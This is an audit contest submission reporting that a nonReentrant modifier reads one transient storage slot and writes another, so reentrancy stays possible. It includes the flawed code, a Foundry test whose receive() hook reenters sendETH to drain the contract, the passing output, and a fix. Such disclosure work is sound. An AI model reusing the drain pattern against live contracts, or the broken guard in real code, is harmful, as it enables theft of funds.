Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`nonReentrant` modifier is vulnerable to Reentrancy due to slot inconsistency

stratan

Summary

InheritanceManager.sol implements reentrancy locks/guards with the help of transient storage. However, due to a slot mismatch, reentrancy is still possible.

Vulnerability Details

The nonReentrant modifier in InheritanceManager.sol implements reentrancy locks/guards with the help of transient storage.

modifier nonReentrant() {
assembly {
// [1]
if tload(1) {
// [2]
revert(0, 0)
}
// [3]
tstore(0, 1)
}
_;
assembly {
// [4]
tstore(0, 0)
}
}

[1] reads the value from transient storage at slot 1. If the value is non-zero (locked), the transaction reverts ([2]). Note how steps [3] and [4] use tstore(0, 1) and tstore(0, 0) respectively. This slot incosistency renders nonReentrant ineffective against reentrancy.

Proof of Concept

The following code demonstrates the ability of owner to call InheritanceManager::sendETH until the InheritanceManager contract has no funds.

  1. We fund InheritanceManager with 10 ETH

  2. owner calls sendETH(1e18, address(InheritanceManagerTest))

    function sendETH(
    uint256 _amount,
    address _to
    ) external nonReentrant onlyOwner {
    (bool success, ) = _to.call{value: _amount}("");
    require(success, "Transfer Failed");
    _setDeadline();
    }

  3. sendETH triggers receive

  4. receive keeps calling sendETH until InheritanceManager contract is drained

  5. The balance of InheritanceManagerTest should be 10 ETH

Code

Place test_nonReentrantReentrancy in InheritanceManagerTest.t.sol,

function test_nonReentrantReentrancy() public {
// zero out this.balance as foundry defaults to 79228162524264337593543950335
vm.deal(address(this), 0);
vm.deal(address(im), 10 ether);
vm.startPrank(owner);
im.sendETH(1e18, address(this));
vm.stopPrank();
assertEq(address(this).balance, 10 ether);
assertEq(address(im).balance, 0);
}

and add a receive function in the InheritanceManagerTest contract:

receive() external payable {
vm.startPrank(owner);
if (address(im).balance != 0) {
im.sendETH(1e18, address(this));
}
}

Finally, run the test:

$ forge test --mp test/InheritanceManagerTest.t.sol --mt test_nonReentrantReentrancy
[⠊] Compiling...
[⠢] Compiling 2 files with Solc 0.8.26
[⠆] Solc 0.8.26 finished in 1.14s
Compiler run successful!
​
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_nonReentrantReentrancy() (gas: 129781)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.39ms (1.04ms CPU time)
​
Ran 1 test suite in 145.61ms (6.39ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Functions that are nonReentrant-protected are also guarded by the onlyOwner modifier which requires for msg.sender to be the owner. Taking sendETH(uint256 _amount, address _to) as an example, even if _to is malicious, they wouldn't be able to reenter thanks to onlyOwner. However, the logic flaw in nonReentrant should be fixed to prevent potential issues in the future.

Tools Used

  • Manual review

  • Foundry

Recommendations

Ensure slot consistency:

modifier nonReentrant() {
assembly {
- if tload(1) {
+ if tload(0) {
revert(0, 0)
}
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!